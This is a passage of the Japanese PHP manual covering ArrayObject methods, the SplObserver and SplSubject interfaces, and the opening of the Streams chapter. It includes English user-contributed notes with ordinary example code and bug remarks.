However, when you overload the offsetGet method, you CANNOT define it as &offsetGet, so the above code falls out (because it returns the 'foobar' variable before you actually work with it).

This is something that the developers broke between 5.0 and 5.1, and was closed as bogus (http://bugs.php.net/bug.php?id=34783). So this is not a big, or question, or request, but just something worth noting.


指定したインデックスに新しい値をセットする

  • ≪ ArrayObject::offsetGet
  • ArrayObject::offsetUnset ≫
  • PHP Manual
  • ArrayObject
  • 指定したインデックスに新しい値をセットする

ArrayObject::offsetSet

(PHP 5, PHP 7)

ArrayObject::offsetSet — 指定したインデックスに新しい値をセットする

説明

public ArrayObject::offsetSet ( mixed $index , mixed $newval ) : void

指定したインデックスに新しい値を設定します。

パラメータ

index

設定したいインデックス。

newval

index の新しい値。

返り値

値を返しません。

例

例1 ArrayObject::offsetSet() の例

<?php
class Example {
    public $property = 'prop:public';
}
$arrayobj = new ArrayObject(new Example());
$arrayobj->offsetSet(4, 'four');
$arrayobj->offsetSet('group', array('g1', 'g2'));
var_dump($arrayobj);

$arrayobj = new ArrayObject(array('zero','one'));
$arrayobj->offsetSet(null, 'last');
var_dump($arrayobj);
?>

上の例の出力は以下となります。

object(ArrayObject)#1 (3) {
  ["property"]=>
  string(11) "prop:public"
  [4]=>
  string(4) "four"
  ["group"]=>
  array(2) {
    [0]=>
    string(2) "g1"
    [1]=>
    string(2) "g2"
  }
}
object(ArrayObject)#3 (3) {
  [0]=>
  string(4) "zero"
  [1]=>
  string(3) "one"
  [2]=>
  string(4) "last"
}

参考

  • ArrayObject::append() - 値を追加する

User Contributed Notes

jerikojerk 22-Aug-2011 03:58
On my php 5.3.5 installation, i discovered that value can be set by reference and not by copy ... depending the context..

so this is different from what a regular array()

<?php

function set(&$x, &$a )
{
    $x[] = $a;
}

$x = new ArrayObject();
$y = array();
$z = new ArrayObject();

$a =  array( 'foo' );
set($y,$a);
set($x,$a);
$z[]=$a;

$a = array( 'bar');

set($x,$a);
set($y,$a);
$z[]=$a;

print_r($x);
print_r($y);
print_r($z);
?>

// output
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
Array
(
    [0] => Array
        (
            [0] => foo
        )

    [1] => Array
        (
            [0] => bar
        )

)
ArrayObject Object
(
    [storage:ArrayObject:private] => Array
        (
            [0] => Array
                (
                    [0] => bar
                )

            [1] => Array
                (
                    [0] => bar
                )

        )

)
n dot lenepveu at gmail dot com 30-Sep-2008 12:20
If $index is null, $newval is naturally pushed onto the end of the array as ArrayObject::append


指定したインデックスの値を解除する

  • ≪ ArrayObject::offsetSet
  • ArrayObject::serialize ≫
  • PHP Manual
  • ArrayObject
  • 指定したインデックスの値を解除する

ArrayObject::offsetUnset

(PHP 5, PHP 7)

ArrayObject::offsetUnset — 指定したインデックスの値を解除する

説明

public ArrayObject::offsetUnset ( mixed $index ) : void

指定したインデックスの値を解除します。

パラメータ

index

解除したいインデックス。

返り値

値を返しません。

例

例1 ArrayObject::offsetUnset() の例

<?php
$arrayobj = new ArrayObject(array(0=>'zero',2=>'two'));
$arrayobj->offsetUnset(2);
var_dump($arrayobj);
?>

上の例の出力は以下となります。

object(ArrayObject)#1 (1) {
  [0]=>
  string(4) "zero"
}

User Contributed Notes

pvenakis at efront dot gr 10-Jan-2008 12:57
When traversing recursively nested arrays using an RecursiveIteratorIterator, you cannot offsetUnset() or offsetSet() sub-array values, unless they are *all* declared as ArrayObject.
oalexandrino at yahoo dot com dot br 28-May-2007 11:11
Be careful when you are working with collections. This method works with the reference of an array instead of its retrieved value.

So, you can do a mistake.

In order to understand have a look at code as follow:

<?php
class Employee
{
    public function __construct()
    {
    }
}

class Company
{
    private $arrEmployee;

    public function __construct()
    {
    }

    public function AddEmployee(Employee $oEmployee)
    {
        $this->arrEmployee[] = $oEmployee;

    }

    public function getEmployeeList()
    {
        return $this->arrEmployee;

    }

}
?>

<?php

// first, creates the Company object
$oCompany = new Company();

// second, add 10 elements in
foreach( range(0, 9) as $index )
{
    $oCompany->AddEmployee( new Employee() );
}

// get them
$arrEmployee = $oCompany->getEmployeeList();

// creates an ArrayObject from "$arrEmployee"
$arrayobject = new ArrayObject($arrEmployee);

// unsets its firt five elements
foreach( range(0, 4) as $index )
{
    $arrayobject->offsetUnset($index);
}

// get them again
$arrEmployee = $oCompany->getEmployeeList();

// it shows just 5 elements, they were removed as reference via "offsetUnset" method
print_r($arrEmployee) ;

?>


ArrayObject をシリアライズする

  • ≪ ArrayObject::offsetUnset
  • ArrayObject::setFlags ≫
  • PHP Manual
  • ArrayObject
  • ArrayObject をシリアライズする

ArrayObject::serialize

(PHP 5 >= 5.3.0, PHP 7)

ArrayObject::serialize — ArrayObject をシリアライズする

説明

public ArrayObject::serialize ( ) : string

ArrayObject をシリアライズします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

ArrayObject をシリアライズしたものを返します。

例

例1 ArrayObject::serialize() の例

<?php
$o = new ArrayObject();

$s1 = serialize($o);
$s2 = $o->serialize();

var_dump($s1);
var_dump($s2);
?>

上の例の出力は以下となります。

string(45) "C:11:"ArrayObject":21:{x:i:0;a:0:{};m:a:0:{}}"
string(21) "x:i:0;a:0:{};m:a:0:{}"

参考

  • ArrayObject::unserialize() - ArrayObject をアンシリアライズする
  • serialize() - 値の保存可能な表現を生成する
  • オブジェクトのシリアライズ

User Contributed Notes

There are no user contributed notes for this page.


処理フラグを設定する

  • ≪ ArrayObject::serialize
  • ArrayObject::setIteratorClass ≫
  • PHP Manual
  • ArrayObject
  • 処理フラグを設定する

ArrayObject::setFlags

(PHP 5 >= 5.1.0, PHP 7)

ArrayObject::setFlags — 処理フラグを設定する

説明

public ArrayObject::setFlags ( int $flags ) : void

ArrayObject の振る舞いを変更するフラグを設定します。

パラメータ

flags

新たな ArrayObject の振る舞い。 ビットマスクか、定数名で指定します。 将来のバージョンとの互換性のため、定数名での指定を強く推奨します。

利用可能なフラグの一覧を以下に示します。 これらのフラグの実際の意味については 定義済みの定数 を参照ください。

ArrayObject のフラグ
値 | 定数
1 | ArrayObject::STD_PROP_LIST
2 | ArrayObject::ARRAY_AS_PROPS

返り値

値を返しません。

例

例1 ArrayObject::setFlags() の例

<?php
// フルーツの配列
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// 配列のキーをプロパティとして使用してみます
var_dump($fruitsArrayObject->lemons);
// フラグを設定して、配列のキーを ArrayObject のプロパティとして使えるようにします
$fruitsArrayObject->setFlags(ArrayObject::ARRAY_AS_PROPS);
// 改めて挑戦します
var_dump($fruitsArrayObject->lemons);
?>

上の例の出力は以下となります。

NULL
int(1)

User Contributed Notes

There are no user contributed notes for this page.


ArrayObject のイテレータクラス名を設定する

  • ≪ ArrayObject::setFlags
  • ArrayObject::uasort ≫
  • PHP Manual
  • ArrayObject
  • ArrayObject のイテレータクラス名を設定する

ArrayObject::setIteratorClass

(PHP 5 >= 5.1.0, PHP 7)

ArrayObject::setIteratorClass — ArrayObject のイテレータクラス名を設定する

説明

public ArrayObject::setIteratorClass ( string $iterator_class ) : void

配列イテレータのクラス名を設定します。これは ArrayObject::getIterator() で使います。

パラメータ

iterator_class

このオブジェクトの反復処理に使う配列イテレータのクラス名。

返り値

値を返しません。

例

例1 ArrayObject::setIteratorClass() の例

<?php
// 独自のイテレータ (ArrayIterator を継承したもの)
class MyArrayIterator extends ArrayIterator {
    // 独自の実装
}

// フルーツの配列
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);

$fruitsArrayObject = new ArrayObject($fruits);

// イテレータのクラス名を新しく設定します
$fruitsArrayObject->setIteratorClass('MyArrayIterator');
print_r($fruitsArrayObject->getIterator());

?>

上の例の出力は以下となります。

MyArrayIterator Object
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)

User Contributed Notes

There are no user contributed notes for this page.


ユーザー定義の比較関数でエントリをソートし、キーとの対応は保持する

  • ≪ ArrayObject::setIteratorClass
  • ArrayObject::uksort ≫
  • PHP Manual
  • ArrayObject
  • ユーザー定義の比較関数でエントリをソートし、キーとの対応は保持する

ArrayObject::uasort

(PHP 5 >= 5.2.0, PHP 7)

ArrayObject::uasort — ユーザー定義の比較関数でエントリをソートし、キーとの対応は保持する

説明

public ArrayObject::uasort ( callable $cmp_function ) : void

この関数はエントリをソートします。キーとそれに対応する値の関連は保持されたままとなります。 ソートにはユーザー定義の比較関数を利用します。

これは主に、連想配列など実際の要素の並びが重要となる場合のソートで使います。

パラメータ

cmp_function

関数 cmp_function は二つのパラメータを受け取ります。ここにはエントリのペアが渡されます。 比較関数の返り値は、最初の引数が二番目の引数より小さい場合に負の数、 等しい場合にゼロ、大きい場合に正の数となります。

返り値

値を返しません。

例

例1 ArrayObject::uasort() の例

<?php
// 比較関数
function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }
    return ($a < $b) ? -1 : 1;
}

// ソートしたい配列
$array = array('a' => 4, 'b' => 8, 'c' => -1, 'd' => -9, 'e' => 2, 'f' => 5, 'g' => 3, 'h' => -4);
$arrayObject = new ArrayObject($array);
print_r($arrayObject);

// ソートと、その結果の表示
$arrayObject->uasort('cmp');
print_r($arrayObject);
?>

上の例の出力は以下となります。

Array
(
    [a] => 4
    [b] => 8
    [c] => -1
    [d] => -9
    [e] => 2
    [f] => 5
    [g] => 3
    [h] => -4
)
Array
(
    [d] => -9
    [h] => -4
    [c] => -1
    [e] => 2
    [g] => 3
    [a] => 4
    [f] => 5
    [b] => 8
)

参考

  • ArrayObject::asort() - 値でエントリをソートする
  • ArrayObject::ksort() - キーでエントリをソートする
  • ArrayObject::natsort() - "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::natcasesort() - 大文字小文字を区別しない "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::uksort() - ユーザー定義の比較関数を使って、キーでエントリをソートする

User Contributed Notes

poxetinho at gmail dot com 01-Sep-2011 12:38
Note that return values between (-1, 1) are being considered as 0.


ユーザー定義の比較関数を使って、キーでエントリをソートする

  • ≪ ArrayObject::uasort
  • ArrayObject::unserialize ≫
  • PHP Manual
  • ArrayObject
  • ユーザー定義の比較関数を使って、キーでエントリをソートする

ArrayObject::uksort

(PHP 5 >= 5.2.0, PHP 7)

ArrayObject::uksort — ユーザー定義の比較関数を使って、キーでエントリをソートする

説明

public ArrayObject::uksort ( callable $cmp_function ) : void

この関数は、ユーザー定義の比較関数を使ってキーでエントリをソートします。 キーとそれに対応する値の関連は保持されたままとなります。

パラメータ

cmp_function

比較コールバック関数。

関数 cmp_function は二つのパラメータを受け取ります。ここにはエントリのペアが渡されます。 比較関数の返り値は、最初の引数が二番目の引数より小さい場合に負の数、 等しい場合にゼロ、大きい場合に正の数となります。

返り値

値を返しません。

例

例1 ArrayObject::uksort() の例

<?php
function cmp($a, $b) {
    $a = preg_replace('@^(a|an|the) @', '', $a);
    $b = preg_replace('@^(a|an|the) @', '', $b);
    return strcasecmp($a, $b);
}

$array = array("John" => 1, "the Earth" => 2, "an apple" => 3, "a banana" => 4);
$arrayObject = new ArrayObject($array);
$arrayObject->uksort('cmp');

foreach ($arrayObject as $key => $value) {
    echo "$key: $value\n";
}
?>

上の例の出力は以下となります。

an apple: 3
a banana: 4
the Earth: 2
John: 1

参考

  • ArrayObject::asort() - 値でエントリをソートする
  • ArrayObject::ksort() - キーでエントリをソートする
  • ArrayObject::natsort() - "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::natcasesort() - 大文字小文字を区別しない "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::uasort() - ユーザー定義の比較関数でエントリをソートし、キーとの対応は保持する

User Contributed Notes

There are no user contributed notes for this page.


ArrayObject をアンシリアライズする

  • ≪ ArrayObject::uksort
  • SplObserver ≫
  • PHP Manual
  • ArrayObject
  • ArrayObject をアンシリアライズする

ArrayObject::unserialize

(PHP 5 >= 5.3.0, PHP 7)

ArrayObject::unserialize — ArrayObject をアンシリアライズする

説明

public ArrayObject::unserialize ( string $serialized ) : void

シリアライズした ArrayObject をアンシリアライズします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

serialized

シリアライズした ArrayObject。

返り値

アンシリアライズした ArrayObject を返します。

参考

  • ArrayIterator::serialize() - シリアライズする
  • unserialize() - 保存用表現から PHP の値を生成する
  • オブジェクトのシリアライズ

User Contributed Notes

There are no user contributed notes for this page.


SplObserver インターフェイス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

SplObserver インターフェイスを SplSubject とともに使うと、Observer パターンを実装することができます。

インターフェイス概要

SplObserver {
/* メソッド */
abstract public update ( SplSubject $subject ) : void
}

目次

  • SplObserver::update — subject の更新を受信する

User Contributed Notes

sebastien dot ferrandez at free dot fr 12-Mar-2014 09:36
Beware, you have written :

        if($key){
            unset($this->observers[$key]);
        }

When this should be :

        if(false !== $key){
            unset($this->observers[$key]);
        }

If the observer you want to delete is the first in your array, you will never delete it because the key would equal 0 and 0 == false as you know.
aiddroid at example dot com 02-Jul-2013 07:41
<?php

/**
 * Subject,that who makes news
 */
class Newspaper implements \SplSubject{
    private $name;
    private $observers = array();
    private $content;

    public function __construct($name) {
        $this->name = $name;
    }

    //add observer
    public function attach(\SplObserver $observer) {
        $this->observers[] = $observer;
    }

    //remove observer
    public function detach(\SplObserver $observer) {

        $key = array_search($observer,$this->observers, true);
        if($key){
            unset($this->observers[$key]);
        }
    }

    //set breakouts news
    public function breakOutNews($content) {
        $this->content = $content;
        $this->notify();
    }

    public function getContent() {
        return $this->content." ({$this->name})";
    }

    //notify observers(or some of them)
    public function notify() {
        foreach ($this->observers as $value) {
            $value->update($this);
        }
    }
}

/**
 * Observer,that who recieves news
 */
class Reader implements SplObserver{
    private $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function update(\SplSubject $subject) {
        echo $this->name.' is reading breakout news <b>'.$subject->getContent().'</b><br>';
    }
}

$newspaper = new Newspaper('Newyork Times');

$allen = new Reader('Allen');
$jim = new Reader('Jim');
$linda = new Reader('Linda');

//add reader
$newspaper->attach($allen);
$newspaper->attach($jim);
$newspaper->attach($linda);

//remove reader
$newspaper->detach($linda);

//set break outs
$newspaper->breakOutNews('USA break down!');

//=====output======
//Allen is reading breakout news USA break down! (Newyork Times)
//Jim is reading breakout news USA break down! (Newyork Times)


subject の更新を受信する

  • ≪ SplObserver
  • SplSubject ≫
  • PHP Manual
  • SplObserver
  • subject の更新を受信する

SplObserver::update

(PHP 5 >= 5.1.0, PHP 7)

SplObserver::update — subject の更新を受信する

説明

abstract public SplObserver::update ( SplSubject $subject ) : void

このメソッドは、オブザーバがアタッチされている任意の SplSubject が SplSubject::notify() をコールしたときにコールされます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

subject

observer に更新を通知する SplSubject。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


SplSubject インターフェイス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

SplSubject インターフェイスを SplObserver とともに使うと、Observer パターンを実装することができます。

インターフェイス概要

SplSubject {
/* メソッド */
abstract public attach ( SplObserver $observer ) : void
abstract public detach ( SplObserver $observer ) : void
abstract public notify ( ) : void
}

目次

  • SplSubject::attach — SplObserver をアタッチする
  • SplSubject::detach — observer をデタッチする
  • SplSubject::notify — observer に通知する

User Contributed Notes

xedin dot unknown at gmail dot com 01-Apr-2019 06:57
For a few years, I've made a few attempts to understand the architecture behind the Subject/Observer pair. Recently I tried again. I just could not imagine why someone would design this in the way it is documented.  I mean, "what were they thinking?!", I thought. The if things outside of the Subject could tell it when to notify observers, that would completely break encapsulation. Because only the subject can know when events occur inside of it. And therefore, exposing `notify()` would be a huge violation to many principles of good OOP design.

However, I have come up with one scenario where this would be valid. That is, if the Subject represents a Hook, like in WordPress. For example, in an event system where events are invoked with a name or code, a Hook could represent a named event in the system, and by calling `notify()` from outside the dispatcher could notify observers. If this is the intended scenario, then the problems are mostly with naming: the name "Subject" implies that it is what is being observed, and the Observer pattern is different.
aiddroid at example dot com 02-Jul-2013 07:01
/**
 * Subject,that who makes news
 */
class Newspaper implements \SplSubject{
    private $name;
    private $observers = array();
    private $content;

    public function __construct($name) {
        $this->name = $name;
    }

    //add observer
    public function attach(\SplObserver $observer) {
        $this->observers[] = $observer;
    }

    //remove observer
    public function detach(\SplObserver $observer) {

        $key = array_search($observer,$this->observers, true);
        if($key){
            unset($this->observers[$key]);
        }
    }

    //set breakouts news
    public function breakOutNews($content) {
        $this->content = $content;
        $this->notify();
    }

    public function getContent() {
        return $this->content." (by {$this->name})";
    }

    //notify observers(or some of them)
    public function notify() {
        foreach ($this->observers as $value) {
            $value->update($this);
        }
    }
}

/**
 * Observer,that who recieves news
 */
class Reader implements SplObserver{
    private $name;

    public function __construct($name) {
        $this->name = $name;
    }

    public function update(\SplSubject $subject) {
        echo $this->name.' is reading breakout news <b>'.$subject->getContent().'</b><br>';
    }
}

//classes test
$newspaper = new Newspaper('Newyork Times');

$allen = new Reader('Allen');
$jim = new Reader('Jim');
$linda = new Reader('Linda');

//add reader
$newspaper->attach($allen);
$newspaper->attach($jim);
$newspaper->attach($linda);

//remove reader
$newspaper->detach($linda);

//set break outs
$newspaper->breakOutNews('USA break down!');

//=========output==========
//Allen is reading breakout news USA break down! (by Newyork Times)
//Jim is reading breakout news USA break down! (by Newyork Times)
Anonymous 07-May-2013 10:37
<?php
class Observable implements SplSubject
{
    private $storage;

    function __construct()
    {
        $this->storage = new SplObjectStorage();
    }

    function attach(SplObserver $observer)
    {
        $this->storage->attach($observer);
    }

    function detach(SplObserver $observer)
    {
        $this->storage->detach($observer);
    }

    function notify()
    {
        foreach ($this->storage as $obj) {
            $obj->update($this);
        }
    }
    //...
}

abstract class Observer implements SplObserver
{
    private $observable;

    function __construct(Observable $observable)
    {
        $this->observable = $observable;
        $observable->attach($this);
    }

    function update(SplSubject $subject)
    {
        if ($subject === $this->observable) {
            $this->doUpdate($subject);
        }
    }

    abstract function doUpdate(Observable $observable);
}

class ConcreteObserver extends Observer
{
    function doUpdate(Observable $observable)
    {
        //...
    }
}

$observable = new Observable();
new ConcreteObserver($observable);
przemyslaw dot szpiler at gmail dot com 26-Feb-2012 09:54
<?php

// Example implementation of Observer design pattern:

class MyObserver1 implements SplObserver {
    public function update(SplSubject $subject) {
        echo __CLASS__ . ' - ' . $subject->getName();
    }
}

class MyObserver2 implements SplObserver {
    public function update(SplSubject $subject) {
        echo __CLASS__ . ' - ' . $subject->getName();
    }
}

class MySubject implements SplSubject {
    private $_observers;
    private $_name;

    public function __construct($name) {
        $this->_observers = new SplObjectStorage();
        $this->_name = $name;
    }

    public function attach(SplObserver $observer) {
        $this->_observers->attach($observer);
    }

    public function detach(SplObserver $observer) {
        $this->_observers->detach($observer);
    }

    public function notify() {
        foreach ($this->_observers as $observer) {
            $observer->update($this);
        }
    }

    public function getName() {
        return $this->_name;
    }
}

$observer1 = new MyObserver1();
$observer2 = new MyObserver2();

$subject = new MySubject("test");

$subject->attach($observer1);
$subject->attach($observer2);
$subject->notify();

/*
will output:

MyObserver1 - test
MyObserver2 - test
*/

$subject->detach($observer2);
$subject->notify();

/*
will output:

MyObserver1 - test
*/

?>


SplObserver をアタッチする

  • ≪ SplSubject
  • SplSubject::detach ≫
  • PHP Manual
  • SplSubject
  • SplObserver をアタッチする

SplSubject::attach

(PHP 5 >= 5.1.0, PHP 7)

SplSubject::attach — SplObserver をアタッチする

説明

abstract public SplSubject::attach ( SplObserver $observer ) : void

SplObserver にアタッチし、更新を通知できるようにします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

observer

アタッチする SplObserver。

返り値

値を返しません。

User Contributed Notes

workspace dot development at yahoo dot com 02-Dec-2011 08:46
i think that Observer pattern is always implemented as "static" to be called from any scope, for example:
<?php
class Observer {
     //attach here the caller's scope
     private static $stackTrace = array( );
     public static function wasTriggeredOnce() {
          //...if is not in the stack, then:
          self::$stackTrace[] = max( debug_backtrace( ) );
     }
}

class YourFramework {

     public function launchPlatform() {

          //could not let user to launch application twice!
          Observer::wasTriggeredOnce();
     }
}
//cause is static
Observer::hereIsnoNeedToInstantiateAgain();
?>
goran 17-Oct-2011 12:54
The most obvious storage type for observers (stored in attach()) is array. In order to be able to detach attached objects, you should be able to identify it inside observer storage.

I suggest you attach observers this way:

$this->_observers[spl_object_hash($observer)] = $observer;

so you can detach it later if you need:

unset($this->_observers[spl_object_hash($observer)]);


observer をデタッチする

  • ≪ SplSubject::attach
  • SplSubject::notify ≫
  • PHP Manual
  • SplSubject
  • observer をデタッチする

SplSubject::detach

(PHP 5 >= 5.1.0, PHP 7)

SplSubject::detach — observer をデタッチする

説明

abstract public SplSubject::detach ( SplObserver $observer ) : void

observer をデタッチし、更新を通知しないようにします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

observer

デタッチする SplObserver。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


observer に通知する

  • ≪ SplSubject::detach
  • ストリーム ≫
  • PHP Manual
  • SplSubject
  • observer に通知する

SplSubject::notify

(PHP 5 >= 5.1.0, PHP 7)

SplSubject::notify — observer に通知する

説明

abstract public SplSubject::notify ( ) : void

アタッチされたすべての observer に通知します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ストリーム

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • ストリームのクラス
  • 定義済み定数
  • ストリームフィルタ
  • ストリームコンテキスト
  • ストリームのエラー
  • 例
    • ストリームラッパーとして登録するクラスの例
  • php_user_filter — php_user_filter クラス
    • php_user_filter::filter — フィルタを適用するときにコールされる
    • php_user_filter::onClose — フィルタを閉じるときにコールされる
    • php_user_filter::onCreate — フィルタを作成するときにコールされる
  • streamWrapper — streamWrapper クラス
    • streamWrapper::__construct — 新しいストリームラッパーを作成する
    • streamWrapper::__destruct — 既存のストリームラッパーを破棄する
    • streamWrapper::dir_closedir — ディレクトリハンドルを閉じる
    • streamWrapper::dir_opendir — ディレクトリハンドルをオープンする
    • streamWrapper::dir_readdir — ディレクトリハンドルからエントリを読み込む
    • streamWrapper::dir_rewinddir — ディレクトリハンドルを巻き戻す
    • streamWrapper::mkdir — ディレクトリを作成する
    • streamWrapper::rename — ファイルあるいはディレクトリの名前を変える
    • streamWrapper::rmdir — ディレクトリを削除する
    • streamWrapper::stream_cast — 元となるリソースを取得する
    • streamWrapper::stream_close — リソースを閉じる
    • streamWrapper::stream_eof — ファイルポインタが終端にあるかどうかを調べる
    • streamWrapper::stream_flush — 出力をフラッシュする
    • streamWrapper::stream_lock — ファイルのアドバイザリ・ロック
    • streamWrapper::stream_metadata — ストリームメタデータを変更する
    • streamWrapper::stream_open — ファイルあるいは URL をオープンする
    • streamWrapper::stream_read — ストリームから読み込む
    • streamWrapper::stream_seek — ストリーム内の特定の場所に移動する
    • streamWrapper::stream_set_option — ストリームのオプションを変更する
    • streamWrapper::stream_stat — ファイルリソースについての情報を取得する
    • streamWrapper::stream_tell — ストリームの現在位置を取得する
    • streamWrapper::stream_truncate — ストリームを丸める
    • streamWrapper::stream_write — ストリームに書き込む
    • streamWrapper::unlink — ファイルを削除する
    • streamWrapper::url_stat — ファイルについての情報を取得する
  • ストリーム 関数
    • stream_bucket_append — bucket を brigade に追加する
    • stream_bucket_make_writeable — 操作する brigade から bucket オブジェクトを返す
    • stream_bucket_new — 現在のストリームで使用する新しい bucket を作成する
    • stream_bucket_prepend — bucket を brigade の先頭に追加する
    • stream_context_create — ストリームコンテキストを作成する
    • stream_context_get_default — デフォルトのストリームコンテキストを取得する
    • stream_context_get_options — ストリーム / ラッパー / コンテキストに設定されているオプションを取得する
    • stream_context_get_params — コンテキストのパラメータを取得する
    • stream_context_set_default — デフォルトのストリームコンテキストを設定する
    • stream_context_set_option — ストリーム / ラッパー / コンテキストのオプションを設定する
    • stream_context_set_params — ストリーム / ラッパー / コンテキストのパラメータを設定する
    • stream_copy_to_stream — データをあるストリームから別のストリームにコピーする
    • stream_filter_append — ストリームにフィルタを付加する
    • stream_filter_prepend — フィルタをストリームに付加する
    • stream_filter_register — ユーザー定義のストリームフィルタを登録する
    • stream_filter_remove — ストリームからフィルタを取り除く
    • stream_get_contents — 残りのストリームを文字列に読み込む
    • stream_get_filters — 登録されているフィルタのリストを取得する
    • stream_get_line — 指定されたデリミタの位置までのデータを一行分としてストリームから読み込む
    • stream_get_meta_data — ヘッダーあるいはメタデータをストリームまたはファイルポインタから取得する
    • stream_get_transports — 登録されたソケットのトランスポートの一覧を取得する
    • stream_get_wrappers — 登録されているストリームのラッパーのリストを取得する
    • stream_is_local — ローカルストリームかどうかを調べる
    • stream_isatty — Check if a stream is a TTY
    • stream_notification_callback — notification コンテキストパラメータ用のコールバック関数
    • stream_register_wrapper — stream_wrapper_register のエイリアス
    • stream_resolve_include_path — インクルードパスに対してファイル名を解決する
    • stream_select — select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う
    • stream_set_blocking — ストリームのブロックモードを有効にする / 解除する
    • stream_set_chunk_size — ストリームのチャンクサイズを設定する
    • stream_set_read_buffer — 指定したストリームのファイル読み込みバッファリングを有効にする
    • stream_set_timeout — ストリームにタイムアウトを設定する
    • stream_set_write_buffer — 指定されたストリームのファイル書き込みバッファリングを有効にする
    • stream_socket_accept — stream_socket_server で作られたソケットの接続を受け入れる
    • stream_socket_client — インターネットドメインまたは Unix ドメインのソケット接続を開く
    • stream_socket_enable_crypto — 接続済みのソケットについて暗号化の on/off を切り替える
    • stream_socket_get_name — ローカルまたはリモートのソケットの名前を取得する
    • stream_socket_pair — 接続された、区別できないソケットストリームの組を作成する
    • stream_socket_recvfrom — 接続されているかどうかにかかわらず、ソケットからのデータを受信する
    • stream_socket_sendto — 接続されているかどうかにかかわらず、ソケットにデータを送信する
    • stream_socket_server — インターネットドメインまたは Unix ドメインのサーバーソケットを作成する
    • stream_socket_shutdown — 全二重接続を終了する
    • stream_supports_lock — ストリームがロックをサポートしているかどうかを調べる
    • stream_wrapper_register — PHP のクラスとして実装された URL ラッパーを登録する
    • stream_wrapper_restore — 事前に登録を解除された組み込みラッパーを復元する
    • stream_wrapper_unregister — URL ラッパーの登録を解除する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

ストリームは、 ファイル、ネットワーク、データ圧縮などに関する、 共通した一連の関数群と利用法を持つ操作の一般化の手法です。 もっとも単純な定義では、ストリーム というのは、ストリーミング可能な動作を体現する resource オブジェクトといえます。つまり、ストリームには線的に読み出したり、 あるいは書き込んだりすることが可能で、かつ、 ストリーム上の任意の場所に fseek() できる場合もあります。

ラッパー というのは、ストリームにおいてどのように特定の プロトコル/エンコーディングを扱うかを扱うかを指示する付加的なコード です。たとえば、http ラッパーは、どのようにして URL を、リモートサーバーのファイルに対する HTTP/1.0 リクエストに転換するかを知っています。PHP には、デフォルトで組み込まれているラッパーが多数存在しますが (サポートするプロトコル/ラッパー を参照ください)、 それに加え、カスタムラッパーをstream_wrapper_register() を利用して PHP スクリプトの内部から、あるいはストリーム API を用いて、 直接拡張モジュールの内部から追加できます。 あらゆる種類のラッパーが PHP に追加できるので、 特にラッパーでできることの限界はありません。 現在登録されているラッパーの種類を知るには、 stream_get_wrappers() を使います。

リソースは次のような形でストリームとして参照されます: scheme://target

  • scheme(string) - 使用されるラッパーの名称です。例として、 file, http, https, ftp, ftps, compress.zlib, compress.bz2, php などが含まれます。 PHP 組み込みのラッパーについては、サポートするプロトコル/ラッパー を参照ください。もしラッパーが指定されていない場合は、使用している関数の デフォルトが利用されます(通常は file://)。
  • target - 使用するラッパーによって解釈が異なります。 ファイルシステムに関連したストリームの場合、 一般的にこのパラメータは対象となるファイルの ファイル名とパスを表します。 ネットワークに関連したストリームの場合、一般的に このパラメータはホスト名と、(多くの場合付加されるはずの) パス名です。 PHP 組み込みのラッパーに、どのようにターゲットが解釈されるかは、 サポートするプロトコル/ラッパー を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • ストリームのクラス

User Contributed Notes

There are no user contributed notes for this page.


ストリームのクラス

ユーザー定義のラッパーは、stream_wrapper_register() で、同関数の説明ページに記載されたクラス定義を使うことで、 登録することができます。

ユーザー定義のフィルタ用に、ベースとなる抽象クラスとして php_user_filter クラスがあらかじめ定義されています。 ユーザー定義のフィルタの実装に関する詳細は、 stream_filter_register() を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

定数 | 説明
STREAM_FILTER_READ | stream_filter_append() または stream_filter_prepend() と共に使われます。 指定されたフィルタが 読み込みのときのみ 適用されることを示します。
STREAM_FILTER_WRITE | stream_filter_append() または stream_filter_prepend() と共に使われます。 指定されたフィルタが 書き込みのときのみ 適用されることを示します。
STREAM_FILTER_ALL | この定数は右の値と等価です: STREAM_FILTER_READ | STREAM_FILTER_WRITE
PSFS_PASS_ON | 返値: ユーザー空間のフィルタが バケットを $out に返したことを 示します。
PSFS_FEED_ME | 返値: ユーザー空間のフィルタが $out にバケットを返さなかったことを 示します。(つまり、変換されたデータを返す用意ができていないという ことです。)
